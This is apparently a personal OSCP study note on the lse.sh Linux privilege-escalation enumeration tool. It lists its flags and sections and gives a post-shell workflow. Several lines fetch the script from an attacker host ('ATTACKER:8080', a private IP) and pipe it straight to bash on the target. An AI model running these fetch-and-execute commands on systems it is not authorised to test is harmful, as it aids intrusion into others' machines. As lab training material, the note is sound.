Pearson's OSCP Notebook

lse - Linux Smart Enumeration

Properties2
tagslse, linux-smart-enumeration, linux, privilege-escalation, enumeration, linenum, oscp
aliaseslse.sh, Linux Smart Enumeration, LSE

4 min read

lse — Linux Smart Enumeration

Ctrl+F: lse.sh · -l 0 · -l 1 · -l 2 · -S · -s usr,sud · -p · -i

Repo: diego-treitos/linux-smart-enumeration

Inspired by LinEnum — uses many of the same tests. Unlike LinEnum, lse gradually exposes information by privesc importance instead of dumping everything at once.

OSCP use: Lighter than LinPEAS on noisy boxes. Start at level 0 (green yes! = low-hanging fruit). Escalate to -l1 / -l2 if nothing obvious. Enumerate only — you still exploit manually.

→ Privesc Tools · Linux · linuxprivchecker

wget http://192.168.45.227:8000/lse.sh && chmod +x lse.sh && ./lse.sh  > lse.txt

📌 Quick one-liners (download)

wget "https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh" -O lse.sh; chmod 700 lse.sh
 
curl "https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh" -Lo lse.sh; chmod 700 lse.sh

No file on disk (pipe to bash):

bash <(wget -q -O - "https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh") -l2 -i
 
bash <(curl -s "https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh") -l1 -i

From Kali HTTP server:

# Kali
wget "https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh" -O lse.sh
python3 -m http.server 8080
 
# Target
curl http://ATTACKER:8080/lse.sh | bash -s -- -l 1
wget http://ATTACKER:8080/lse.sh && chmod 700 lse.sh && ./lse.sh

→ File Transfer

📌 Serve script from target (-S — v2.10+)

Since v2.10, run lse.sh on one host and serve it so other hosts can pull it (useful when only one box has outbound HTTP to your Kali, or pivot chain):

./lse.sh -S
# Retrieves lse from this host on the port shown — pull from another internal host

Pair with Ligolo-ng / pivot when transferring to deeper hosts.

📌 Verbosity levels (gradual enum)

LevelFlagOutput
0./lse.sh or -l 0Default — highly important privesc flaws only. Green yes! = act on it
1./lse.sh -l 1Interesting info — broader hunt
2./lse.sh -l 2Full dump — pipe to less: ./lse.sh -l2 | less -r

Recommended flow:

1. ./lse.sh              → any green yes! ?
2. ./lse.sh -l 1         → still stuck?
3. ./lse.sh -l 2 | less -r

📌 Key flags

Use: ./lse.sh [options]

 -c           Disable color
 -i           Non-interactive mode (no password prompts — use on reverse shells)
 -h           Help
 -l LEVEL     0 = important (default) · 1 = interesting · 2 = all
 -s SELECTION Comma-separated sections or test IDs (e.g. usr010,net,pro)
 -e PATHS     Comma-separated paths to exclude (faster, less complete)
 -p SECONDS   Process monitor watch time (default 60; 0 = disable)
 -S           Serve lse.sh from this host for remote retrieval
FlagOSCP tip
-iAlways on non-TTY shells — skips interactive questions
-l 1Good balance when LinPEAS is too noisy
-s sud,usrRun only sudo + user sections when you know the vector
-p 120Watch cron longer while other tests run

📌 Test sections (-s)

SectionCovers
usrUsers, groups, passwords
sudsudo misconfigs
fstFile system — permissions, mounts
sysSystem info, kernel
secSecurity measures
retCron, timers, recurring tasks
netNetwork
srvServices
proProcesses (also monitored async)
sofInstalled software
ctnDocker / LXC
cveCVE checks
./lse.sh -l 2 -s usr010,net,pro
./lse.sh -l 1 -s sud,ret,fst -i

📌 Process monitor (built-in)

While running other tests, lse watches process creation (similar idea to pspy) — catches cron/scripts you might miss.

./lse.sh -p 120          # Watch 2 minutes
./lse.sh -l 1 -p 0 -i    # Disable monitor if you run pspy separately

If monitor shows root running a script → check writable path → Linux > cron

📌 What to act on

OutputNext step
Green yes!Read the flagged test — usually direct privesc path
sudo -l / NOPASSWDsudo
SUID / capabilitiesGTFOBins · Linux > SUID
Writable /etc/passwd, cron, .serviceLinux manual sections
Docker / LXC grouplxc - LXD Privilege Escalation - EDB 46978
Old kernellinux-exploit-suggester on Kali

📌 vs other tools

ToolWhen
LinPEASDefault first run — most comprehensive (Privesc Tools)
lseGradual output; less overwhelming; good second pass
LinEnumOlder; lse supersedes for most OSCP boxes
linuxprivcheckerPython; lists vectors to investigate (linuxprivchecker)
pspyProcess-only; run alongside any enum script

📌 OSCP workflow

Low shell
  → curl/wget lse.sh (or bash <(curl...) -l1 -i)
  → Level 0: green yes! ?
  → Level 1 if needed
  → pspy in parallel if cron suspected
  → Manual [[Linux]] on flagged items
  → Kernel old? [[linux-exploit-suggester]] on Kali

📌 Quick cheat sheet

# Download
curl "https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh" -Lo lse.sh; chmod 700 lse.sh
 
# Run
./lse.sh -i
./lse.sh -l 1 -i
./lse.sh -l 2 -i | less -r
./lse.sh -l 1 -s sud,ret,usr -i
 
# One-liner
bash <(curl -s "https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh") -l1 -i
 
# Serve to other hosts (v2.10+)
./lse.sh -S

📌 Alias check (Linux/bash)

alias
alias | grep -iE 'sudo|root|pass|su |chmod'

→ Linux > 📌 1) Basic Manual Enumeration

Graph View

Backlinks